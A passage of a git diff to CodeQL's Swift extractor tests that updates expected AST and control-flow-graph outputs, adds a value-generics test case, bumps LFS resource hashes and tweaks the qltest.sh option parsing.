[Argument] : [...] +# 596| getExpr(): [VarargExpansionExpr] [...] +# 596| getSubExpr(): [ArrayExpr] [...] +# 596| getElement(0): [DeclRefExpr] x +# 596| getElement(0).getFullyConverted(): [ErasureExpr] (Any) ... +# 596| getSubExpr(): [LoadExpr] (Int) ... +# 596| getArgument(1): [Argument] separator: default separator +# 596| getExpr(): [DefaultArgumentExpr] default separator +# 596| getArgument(2): [Argument] terminator: default terminator +# 596| getExpr(): [DefaultArgumentExpr] default terminator +# 597| getElement(2): [AssignExpr] ... = ... +# 597| getDest(): [DiscardAssignmentExpr] _ +# 597| getSource(): [DeclRefExpr] value declarations.swift: # 1| [StructDecl] Foo # 2| getMember(0): [PatternBindingDecl] var ... = ... diff --git a/swift/ql/test/library-tests/ast/cfg.swift b/swift/ql/test/library-tests/ast/cfg.swift index 09090fc70baa..b26ac41693c6 100644 --- a/swift/ql/test/library-tests/ast/cfg.swift +++ b/swift/ql/test/library-tests/ast/cfg.swift @@ -112,13 +112,13 @@ func testMemberRef(param : C, inoutParam : inout C, opt : C?) { let n2 = c.self.myInt let n3 = c.getMyInt() let n4 = c.self.getMyInt() - let n5 = param.myInt let n6 = param.self.myInt - let n7 = param.getMyInt() + let n8 = param.self.getMyInt() let n9 = inoutParam.myInt + let n7 = param.getMyInt() let n10 = inoutParam.self.myInt let n11 = inoutParam.getMyInt() let n12 = inoutParam.self.getMyInt() @@ -585,3 +585,14 @@ func singleStmtExpr(_ x: Int) { let b = if (x < 42) { 1 } else { 2 } } // --- + +//codeql-extractor-options: -enable-experimental-feature ValueGenerics -disable-availability-checking +struct ValueGenericsStruct { + var x = N; +} + +func valueGenericsFn(_ value: ValueGenericsStruct) { + var x = N; + print(x); + _ = value; +} diff --git a/swift/ql/test/library-tests/controlflow/graph/Cfg.expected b/swift/ql/test/library-tests/controlflow/graph/Cfg.expected index 41f64f27d717..06d3ffbbc114 100644 --- a/swift/ql/test/library-tests/controlflow/graph/Cfg.expected +++ b/swift/ql/test/library-tests/controlflow/graph/Cfg.expected @@ -354,37 +354,37 @@ | cfg.swift:113:12:113:12 | c | cfg.swift:113:12:113:23 | call to getMyInt() | | | cfg.swift:113:12:113:14 | .getMyInt() | cfg.swift:113:12:113:12 | c | | | cfg.swift:113:12:113:23 | call to getMyInt() | cfg.swift:113:3:113:23 | var ... = ... | | -| cfg.swift:114:3:114:28 | var ... = ... | cfg.swift:116:7:116:7 | n5 | | +| cfg.swift:114:3:114:28 | var ... = ... | cfg.swift:115:7:115:7 | n5 | | | cfg.swift:114:7:114:7 | n4 | cfg.swift:114:12:114:19 | .getMyInt() | match | | cfg.swift:114:12:114:12 | c | cfg.swift:114:12:114:14 | .self | | | cfg.swift:114:12:114:14 | .self | cfg.swift:114:12:114:28 | call to getMyInt() | | | cfg.swift:114:12:114:19 | .getMyInt() | cfg.swift:114:12:114:12 | c | | | cfg.swift:114:12:114:28 | call to getMyInt() | cfg.swift:114:3:114:28 | var ... = ... | | -| cfg.swift:116:3:116:18 | var ... = ... | cfg.swift:117:7:117:7 | n6 | | -| cfg.swift:116:7:116:7 | n5 | cfg.swift:116:12:116:12 | param | match | -| cfg.swift:116:12:116:12 | param | cfg.swift:116:12:116:18 | getter for .myInt | | -| cfg.swift:116:12:116:18 | getter for .myInt | cfg.swift:116:3:116:18 | var ... = ... | | -| cfg.swift:117:3:117:23 | var ... = ... | cfg.swift:118:7:118:7 | n7 | | -| cfg.swift:117:7:117:7 | n6 | cfg.swift:117:12:117:12 | param | match | -| cfg.swift:117:12:117:12 | param | cfg.swift:117:12:117:18 | .self | | -| cfg.swift:117:12:117:18 | .self | cfg.swift:117:12:117:23 | getter for .myInt | | -| cfg.swift:117:12:117:23 | getter for .myInt | cfg.swift:117:3:117:23 | var ... = ... | | -| cfg.swift:118:3:118:27 | var ... = ... | cfg.swift:119:7:119:7 | n8 | | -| cfg.swift:118:7:118:7 | n7 | cfg.swift:118:12:118:18 | .getMyInt() | match | -| cfg.swift:118:12:118:12 | param | cfg.swift:118:12:118:27 | call to getMyInt() | | -| cfg.swift:118:12:118:18 | .getMyInt() | cfg.swift:118:12:118:12 | param | | -| cfg.swift:118:12:118:27 | call to getMyInt() | cfg.swift:118:3:118:27 | var ... = ... | | -| cfg.swift:119:3:119:32 | var ... = ... | cfg.swift:121:7:121:7 | n9 | | -| cfg.swift:119:7:119:7 | n8 | cfg.swift:119:12:119:23 | .getMyInt() | match | -| cfg.swift:119:12:119:12 | param | cfg.swift:119:12:119:18 | .self | | -| cfg.swift:119:12:119:18 | .self | cfg.swift:119:12:119:32 | call to getMyInt() | | -| cfg.swift:119:12:119:23 | .getMyInt() | cfg.swift:119:12:119:12 | param | | -| cfg.swift:119:12:119:32 | call to getMyInt() | cfg.swift:119:3:119:32 | var ... = ... | | -| cfg.swift:121:3:121:23 | var ... = ... | cfg.swift:122:7:122:7 | n10 | | -| cfg.swift:121:7:121:7 | n9 | cfg.swift:121:12:121:12 | inoutParam | match | -| cfg.swift:121:12:121:12 | (C) ... | cfg.swift:121:12:121:23 | getter for .myInt | | -| cfg.swift:121:12:121:12 | inoutParam | cfg.swift:121:12:121:12 | (C) ... | | -| cfg.swift:121:12:121:23 | getter for .myInt | cfg.swift:121:3:121:23 | var ... = ... | | +| cfg.swift:115:3:115:18 | var ... = ... | cfg.swift:116:7:116:7 | n6 | | +| cfg.swift:115:7:115:7 | n5 | cfg.swift:115:12:115:12 | param | match | +| cfg.swift:115:12:115:12 | param | cfg.swift:115:12:115:18 | getter for .myInt | | +| cfg.swift:115:12:115:18 | getter for .myInt | cfg.swift:115:3:115:18 | var ... = ... | | +| cfg.swift:116:3:116:23 | var ... = ... | cfg.swift:118:7:118:7 | n8 | | +| cfg.swift:116:7:116:7 | n6 | cfg.swift:116:12:116:12 | param | match | +| cfg.swift:116:12:116:12 | param | cfg.swift:116:12:116:18 | .self | | +| cfg.swift:116:12:116:18 | .self | cfg.swift:116:12:116:23 | getter for .myInt | | +| cfg.swift:116:12:116:23 | getter for .myInt | cfg.swift:116:3:116:23 | var ... = ... | | +| cfg.swift:118:3:118:32 | var ... = ... | cfg.swift:120:7:120:7 | n9 | | +| cfg.swift:118:7:118:7 | n8 | cfg.swift:118:12:118:23 | .getMyInt() | match | +| cfg.swift:118:12:118:12 | param | cfg.swift:118:12:118:18 | .self | | +| cfg.swift:118:12:118:18 | .self | cfg.swift:118:12:118:32 | call to getMyInt() | | +| cfg.swift:118:12:118:23 | .getMyInt() | cfg.swift:118:12:118:12 | param | | +| cfg.swift:118:12:118:32 | call to getMyInt() | cfg.swift:118:3:118:32 | var ... = ... | | +| cfg.swift:120:3:120:23 | var ... = ... | cfg.swift:121:7:121:7 | n7 | | +| cfg.swift:120:7:120:7 | n9 | cfg.swift:120:12:120:12 | inoutParam | match | +| cfg.swift:120:12:120:12 | (C) ... | cfg.swift:120:12:120:23 | getter for .myInt | | +| cfg.swift:120:12:120:12 | inoutParam | cfg.swift:120:12:120:12 | (C) ... | | +| cfg.swift:120:12:120:23 | getter for .myInt | cfg.swift:120:3:120:23 | var ... = ... | | +| cfg.swift:121:3:121:27 | var ... = ... | cfg.swift:122:7:122:7 | n10 | | +| cfg.swift:121:7:121:7 | n7 | cfg.swift:121:12:121:18 | .getMyInt() | match | +| cfg.swift:121:12:121:12 | param | cfg.swift:121:12:121:27 | call to getMyInt() | | +| cfg.swift:121:12:121:18 | .getMyInt() | cfg.swift:121:12:121:12 | param | | +| cfg.swift:121:12:121:27 | call to getMyInt() | cfg.swift:121:3:121:27 | var ... = ... | | | cfg.swift:122:3:122:29 | var ... = ... | cfg.swift:123:7:123:7 | n11 | | | cfg.swift:122:7:122:7 | n10 | cfg.swift:122:13:122:13 | inoutParam | match | | cfg.swift:122:13:122:13 | inoutParam | cfg.swift:122:13:122:24 | .self | | @@ -2035,10 +2035,12 @@ | cfg.swift:529:17:529:30 | .finish() | cfg.swift:529:17:529:17 | continuation | | | cfg.swift:529:17:529:37 | call to finish() | cfg.swift:525:27:530:13 | exit { ... } (normal) | | | cfg.swift:533:5:533:5 | $i$generator | cfg.swift:533:5:533:5 | &... | | -| cfg.swift:533:5:533:5 | &... | cfg.swift:533:5:533:5 | call to next() | | -| cfg.swift:533:5:533:5 | .next() | cfg.swift:533:5:533:5 | $i$generator | | +| cfg.swift:533:5:533:5 | &... | cfg.swift:533:5:533:5 | nil | | +| cfg.swift:533:5:533:5 | .next(isolation:) | cfg.swift:533:5:533:5 | $i$generator | | +| cfg.swift:533:5:533:5 | CurrentContextIsolationExpr | cfg.swift:533:5:533:5 | call to next(isolation:) | | | cfg.swift:533:5:533:5 | await ... | cfg.swift:533:5:535:5 | for ... in ... { ... } | | -| cfg.swift:533:5:533:5 | call to next() | cfg.swift:533:5:533:5 | await ... | | +| cfg.swift:533:5:533:5 | call to next(isolation:) | cfg.swift:533:5:533:5 | await ... | | +| cfg.swift:533:5:533:5 | nil | cfg.swift:533:5:533:5 | CurrentContextIsolationExpr | | | cfg.swift:533:5:535:5 | for ... in ... { ... } | cfg.swift:522:1:536:1 | exit testAsyncFor() (normal) | empty | | cfg.swift:533:5:535:5 | for ... in ... { ... } | cfg.swift:533:19:533:19 | i | non-empty | | cfg.swift:533:19:533:19 | i | cfg.swift:534:9:534:9 | print(_:separator:terminator:) | match | @@ -2048,7 +2050,7 @@ | cfg.swift:533:24:533:24 | call to makeAsyncIterator() | file://:0:0:0:0 | var ... = ... | | | cfg.swift:533:24:533:24 | stream | cfg.swift:533:24:533:24 | (AsyncStream) ... | | | cfg.swift:534:9:534:9 | print(_:separator:terminator:) | cfg.swift:534:15:534:15 | i | | -| cfg.swift:534:9:534:16 | call to print(_:separator:terminator:) | cfg.swift:533:5:533:5 | .next() | | +| cfg.swift:534:9:534:16 | call to print(_:separator:terminator:) | cfg.swift:533:5:533:5 | .next(isolation:) | | | cfg.swift:534:14:534:14 | default separator | cfg.swift:534:14:534:14 | default terminator | | | cfg.swift:534:14:534:14 | default terminator | cfg.swift:534:9:534:16 | call to print(_:separator:terminator:) | | | cfg.swift:534:15:534:15 | (Any) ... | cfg.swift:534:15:534:15 | [...] | | @@ -2220,6 +2222,44 @@ | cfg.swift:585:25:585:25 | ThenStmt | cfg.swift:585:11:585:38 | SingleValueStmtExpr | | | cfg.swift:585:36:585:36 | 2 | cfg.swift:585:36:585:36 | ThenStmt | | | cfg.swift:585:36:585:36 | ThenStmt | cfg.swift:585:11:585:38 | SingleValueStmtExpr | | +| cfg.swift:590:8:590:8 | ValueGenericsStruct.init() | cfg.swift:590:8:590:8 | self | | +| cfg.swift:590:8:590:8 | enter ValueGenericsStruct.init() | cfg.swift:590:8:590:8 | ValueGenericsStruct.init() | | +| cfg.swift:590:8:590:8 | exit ValueGenericsStruct.init() (normal) | cfg.swift:590:8:590:8 | exit ValueGenericsStruct.init() | | +| cfg.swift:590:8:590:8 | return | cfg.swift:590:8:590:8 | exit ValueGenericsStruct.init() (normal) | return | +| cfg.swift:590:8:590:8 | self | cfg.swift:590:8:590:8 | return | | +| cfg.swift:591:9:591:9 | _modify | cfg.swift:591:9:591:9 | self | | +| cfg.swift:591:9:591:9 | enter _modify | cfg.swift:591:9:591:9 | _modify | | +| cfg.swift:591:9:591:9 | enter get | cfg.swift:591:9:591:9 | get | | +| cfg.swift:591:9:591:9 | enter set | cfg.swift:591:9:591:9 | set | | +| cfg.swift:591:9:591:9 | exit _modify (normal) | cfg.swift:591:9:591:9 | exit _modify | | +| cfg.swift:591:9:591:9 | exit get (normal) | cfg.swift:591:9:591:9 | exit get | | +| cfg.swift:591:9:591:9 | exit set (normal) | cfg.swift:591:9:591:9 | exit set | | +| cfg.swift:591:9:591:9 | get | cfg.swift:591:9:591:9 | self | | +| cfg.swift:591:9:591:9 | self | cfg.swift:591:9:591:9 | value | | +| cfg.swift:591:9:591:9 | self | file://:0:0:0:0 | self | | +| cfg.swift:591:9:591:9 | self | file://:0:0:0:0 | self | | +| cfg.swift:591:9:591:9 | set | cfg.swift:591:9:591:9 | self | | +| cfg.swift:591:9:591:9 | value | file://:0:0:0:0 | self | | +| cfg.swift:591:9:591:9 | yield ... | cfg.swift:591:9:591:9 | exit _modify (normal) | | +| cfg.swift:594:1:598:1 | enter valueGenericsFn(_:) | cfg.swift:594:1:598:1 | valueGenericsFn(_:) | | +| cfg.swift:594:1:598:1 | exit valueGenericsFn(_:) (normal) | cfg.swift:594:1:598:1 | exit valueGenericsFn(_:) | | +| cfg.swift:594:1:598:1 | valueGenericsFn(_:) | cfg.swift:594:34:594:64 | value | | +| cfg.swift:594:34:594:64 | value | cfg.swift:595:9:595:9 | x | | +| cfg.swift:595:5:595:13 | var ... = ... | cfg.swift:596:5:596:5 | print(_:separator:terminator:) | | +| cfg.swift:595:9:595:9 | x | cfg.swift:595:13:595:13 | TypeValueExpr | match | +| cfg.swift:595:13:595:13 | TypeValueExpr | cfg.swift:595:5:595:13 | var ... = ... | | +| cfg.swift:596:5:596:5 | print(_:separator:terminator:) | cfg.swift:596:11:596:11 | x | | +| cfg.swift:596:5:596:12 | call to print(_:separator:terminator:) | cfg.swift:597:5:597:5 | _ | | +| cfg.swift:596:10:596:10 | default separator | cfg.swift:596:10:596:10 | default terminator | | +| cfg.swift:596:10:596:10 | default terminator | cfg.swift:596:5:596:12 | call to print(_:separator:terminator:) | | +| cfg.swift:596:11:596:11 | (Any) ... | cfg.swift:596:11:596:11 | [...] | | +| cfg.swift:596:11:596:11 | (Int) ... | cfg.swift:596:11:596:11 | (Any) ... | | +| cfg.swift:596:11:596:11 | [...] | cfg.swift:596:10:596:10 | default separator | | +| cfg.swift:596:11:596:11 | [...] | cfg.swift:596:11:596:11 | [...] | | +| cfg.swift:596:11:596:11 | x | cfg.swift:596:11:596:11 | (Int) ... | | +| cfg.swift:597:5:597:5 | _ | cfg.swift:597:9:597:9 | value | | +| cfg.swift:597:5:597:9 | ... = ... | cfg.swift:594:1:598:1 | exit valueGenericsFn(_:) (normal) | | +| cfg.swift:597:9:597:9 | value | cfg.swift:597:5:597:9 | ... = ... | | | file://:0:0:0:0 | ... = ... | cfg.swift:394:7:394:7 | exit set (normal) | | | file://:0:0:0:0 | ... = ... | cfg.swift:410:9:410:9 | exit set (normal) | | | file://:0:0:0:0 | ... = ... | cfg.swift:417:9:417:9 | exit set (normal) | | @@ -2227,6 +2267,7 @@ | file://:0:0:0:0 | ... = ... | cfg.swift:450:7:450:7 | exit set (normal) | | | file://:0:0:0:0 | ... = ... | cfg.swift:451:7:451:7 | exit set (normal) | | | file://:0:0:0:0 | ... = ... | cfg.swift:452:7:452:7 | exit set (normal) | | +| file://:0:0:0:0 | ... = ... | cfg.swift:591:9:591:9 | exit set (normal) | | | file://:0:0:0:0 | &... | cfg.swift:394:7:394:7 | yield ... | | | file://:0:0:0:0 | &... | cfg.swift:410:9:410:9 | yield ... | | | file://:0:0:0:0 | &... | cfg.swift:417:9:417:9 | yield ... | | @@ -2234,6 +2275,7 @@ | file://:0:0:0:0 | &... | cfg.swift:450:7:450:7 | yield ... | | | file://:0:0:0:0 | &... | cfg.swift:451:7:451:7 | yield ... | | | file://:0:0:0:0 | &... | cfg.swift:452:7:452:7 | yield ... | | +| file://:0:0:0:0 | &... | cfg.swift:591:9:591:9 | yield ... | | | file://:0:0:0:0 | .b | file://:0:0:0:0 | return ... | | | file://:0:0:0:0 | .b | file://:0:0:0:0 | value | | | file://:0:0:0:0 | .bs | file://:0:0:0:0 | return ... | | @@ -2247,6 +2289,8 @@ | file://:0:0:0:0 | .x | file://:0:0:0:0 | return ... | | | file://:0:0:0:0 | .x | file://:0:0:0:0 | return ... | | | file://:0:0:0:0 | .x | file://:0:0:0:0 | return ... | | +| file://:0:0:0:0 | .x | file://:0:0:0:0 | return ... | | +| file://:0:0:0:0 | .x | file://:0:0:0:0 | value | | | file://:0:0:0:0 | .x | file://:0:0:0:0 | value | | | file://:0:0:0:0 | .x | file://:0:0:0:0 | value | | | file://:0:0:0:0 | .x | file://:0:0:0:0 | value | | @@ -2258,6 +2302,7 @@ | file://:0:0:0:0 | getter for .x | file://:0:0:0:0 | &... | | | file://:0:0:0:0 | getter for .x | file://:0:0:0:0 | &... | | | file://:0:0:0:0 | getter for .x | file://:0:0:0:0 | &... | | +| file://:0:0:0:0 | getter for .x | file://:0:0:0:0 | &... | | | file://:0:0:0:0 | n | cfg.swift:377:7:377:7 | _unimplementedInitializer(className:initName:file:line:column:) | | | file://:0:0:0:0 | return | cfg.swift:377:19:377:19 | exit Derived.init(n:) (normal) | return | | file://:0:0:0:0 | return ... | cfg.swift:99:7:99:7 | exit get (normal) | return | @@ -2269,6 +2314,7 @@ | file://:0:0:0:0 | return ... | cfg.swift:450:7:450:7 | exit get (normal) | return | | file://:0:0:0:0 | return ... | cfg.swift:451:7:451:7 | exit get (normal) | return | | file://:0:0:0:0 | return ... | cfg.swift:452:7:452:7 | exit get (normal) | return | +| file://:0:0:0:0 | return ... | cfg.swift:591:9:591:9 | exit get (normal) | return | | file://:0:0:0:0 | self | file://:0:0:0:0 | .b | | | file://:0:0:0:0 | self | file://:0:0:0:0 | .b | | | file://:0:0:0:0 | self | file://:0:0:0:0 | .bs | | @@ -2285,6 +2331,8 @@ | file://:0:0:0:0 | self | file://:0:0:0:0 | .x | | | file://:0:0:0:0 | self | file://:0:0:0:0 | .x | | | file://:0:0:0:0 | self | file://:0:0:0:0 | .x | | +| file://:0:0:0:0 | self | file://:0:0:0:0 | .x | | +| file://:0:0:0:0 | self | file://:0:0:0:0 | .x | | | file://:0:0:0:0 | self | file://:0:0:0:0 | getter for .b | | | file://:0:0:0:0 | self | file://:0:0:0:0 | getter for .bs | | | file://:0:0:0:0 | self | file://:0:0:0:0 | getter for .field | | @@ -2292,6 +2340,8 @@ | file://:0:0:0:0 | self | file://:0:0:0:0 | getter for .x | | | file://:0:0:0:0 | self | file://:0:0:0:0 | getter for .x | | | file://:0:0:0:0 | self | file://:0:0:0:0 | getter for .x | | +| file://:0:0:0:0 | self | file://:0:0:0:0 | getter for .x | | +| file://:0:0:0:0 | value | file://:0:0:0:0 | ... = ... | | | file://:0:0:0:0 | value | file://:0:0:0:0 | ... = ... | | | file://:0:0:0:0 | value | file://:0:0:0:0 | ... = ... | | | file://:0:0:0:0 | value | file://:0:0:0:0 | ... = ... | | @@ -2301,4 +2351,4 @@ | file://:0:0:0:0 | value | file://:0:0:0:0 | ... = ... | | | file://:0:0:0:0 | var ... = ... | cfg.swift:138:3:138:3 | .next() | | | file://:0:0:0:0 | var ... = ... | cfg.swift:526:17:526:17 | .next() | | -| file://:0:0:0:0 | var ... = ... | cfg.swift:533:5:533:5 | .next() | | +| file://:0:0:0:0 | var ... = ... | cfg.swift:533:5:533:5 | .next(isolation:) | | diff --git a/swift/ql/test/library-tests/controlflow/graph/cfg.swift b/swift/ql/test/library-tests/controlflow/graph/cfg.swift index 09090fc70baa..b26ac41693c6 100644 --- a/swift/ql/test/library-tests/controlflow/graph/cfg.swift +++ b/swift/ql/test/library-tests/controlflow/graph/cfg.swift @@ -112,13 +112,13 @@ func testMemberRef(param : C, inoutParam : inout C, opt : C?) { let n2 = c.self.myInt let n3 = c.getMyInt() let n4 = c.self.getMyInt() - let n5 = param.myInt let n6 = param.self.myInt - let n7 = param.getMyInt() + let n8 = param.self.getMyInt() let n9 = inoutParam.myInt + let n7 = param.getMyInt() let n10 = inoutParam.self.myInt let n11 = inoutParam.getMyInt() let n12 = inoutParam.self.getMyInt() @@ -585,3 +585,14 @@ func singleStmtExpr(_ x: Int) { let b = if (x < 42) { 1 } else { 2 } } // --- + +//codeql-extractor-options: -enable-experimental-feature ValueGenerics -disable-availability-checking +struct ValueGenericsStruct { + var x = N; +} + +func valueGenericsFn(_ value: ValueGenericsStruct) { + var x = N; + print(x); + _ = value; +} diff --git a/swift/third_party/resources/resource-dir-linux.zip b/swift/third_party/resources/resource-dir-linux.zip index 8697b7c7afc5..251b0ca7fb64 100644 --- a/swift/third_party/resources/resource-dir-linux.zip +++ b/swift/third_party/resources/resource-dir-linux.zip @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:874932f93c4ca6269ae3a9e9c841916b3fd88f65f5018eec8777a52dde56901d -size 293646067 +oid sha256:f6c681b4e1d92ad848d35bf75c41d3e33474d45ce5f270cd814d879ca8fe8511 +size 291469999 diff --git a/swift/third_party/resources/resource-dir-macos.zip b/swift/third_party/resources/resource-dir-macos.zip index 95ffbc2e02ff..678fb09a8b7b 100644 --- a/swift/third_party/resources/resource-dir-macos.zip +++ b/swift/third_party/resources/resource-dir-macos.zip @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:12bef89163486ac24d9ca00a5cc6ef3851b633e6fa63b7493c518e4d426e036c -size 595744464 +oid sha256:9a22d9a4563ea0ad0b5051a997850d425d61ba5219ac35e9994d9a2f40a82f42 +size 593013753 diff --git a/swift/third_party/resources/swift-prebuilt-linux.tar.zst b/swift/third_party/resources/swift-prebuilt-linux.tar.zst index 03490187210c..6efea3475860 100644 --- a/swift/third_party/resources/swift-prebuilt-linux.tar.zst +++ b/swift/third_party/resources/swift-prebuilt-linux.tar.zst @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:d01b90bccfec46995bdf98a59339bd94e64257da99b4963148869c4a108bc2a9 -size 124360007 +oid sha256:abc83ba5ca0c7009714593c3c875f29510597e470bac0722b3357a78880feee4 +size 124406561 diff --git a/swift/third_party/resources/swift-prebuilt-macos.tar.zst b/swift/third_party/resources/swift-prebuilt-macos.tar.zst index 692a8b05dc3b..ca29f3ebd3f1 100644 --- a/swift/third_party/resources/swift-prebuilt-macos.tar.zst +++ b/swift/third_party/resources/swift-prebuilt-macos.tar.zst @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:4dcfe858b5519327c9b0c99735b47fe75c7a5090793d917de1ba6e42795aa86d -size 105011965 +oid sha256:417c018d9aea00f9e33b26a3853ae540388276e6e4d02ef81955b2794b3a6152 +size 104344626 diff --git a/swift/third_party/resources/updating.md b/swift/third_party/resources/updating.md index 2a5184e05628..80dad329643b 100644 --- a/swift/third_party/resources/updating.md +++ b/swift/third_party/resources/updating.md @@ -3,9 +3,9 @@ These files can only be updated having access for the internal repository at the In order to perform a Swift update: 1. Dispatch the [internal `swift-prebuild` workflow](https://github.com/github/semmle-code/actions/workflows/__swift-prebuild.yml) with the appropriate swift - tag. + tag, e.g., `swift-6.1.1-RELEASE`. 2. Dispatch [internal `swift-prepare-resource-dir` workflow](https://github.com/github/semmle-code/actions/workflows/__swift-prepare-resource-dir.yml) with the - appropriate swift tag. + appropriate swift tag, e.g., `swift-6.1.1-RELEASE`. 3. Once the jobs finish, staged artifacts are available at https://github.com/dsp-testing/codeql-swift-artifacts/releases. Copy and paste the sha256 within the `_override` definition in [`load.bzl`](../load.bzl). diff --git a/swift/tools/qltest.sh b/swift/tools/qltest.sh index ba5fb779d287..c7c694f3fab6 100755 --- a/swift/tools/qltest.sh +++ b/swift/tools/qltest.sh @@ -10,10 +10,10 @@ export CODEQL_EXTRACTOR_SWIFT_LOG_LEVELS=${CODEQL_EXTRACTOR_SWIFT_LOG_LEVELS:-ou for src in *.swift; do env=() opts=(-resource-dir "$RESOURCE_DIR" -c -primary-file "$src") - opts+=($(sed -n '1 s=//codeql-extractor-options:==p' $src)) + opts+=($(sed -n 's=//codeql-extractor-options:==p' $src)) expected_status=$(sed -n 's=//codeql-extractor-expected-status:[[:space:]]*==p' $src) expected_status=${expected_status:-0} - env+=($(sed -n '1 s=//codeql-extractor-env:==p' $src)) + env+=($(sed -n 's=//codeql-extractor-env:==p' $src)) echo >> $QLTEST_LOG env "${env[@]}" "$EXTRACTOR" "${opts[@]}" >> $QLTEST_LOG 2>&1 actual_status=$?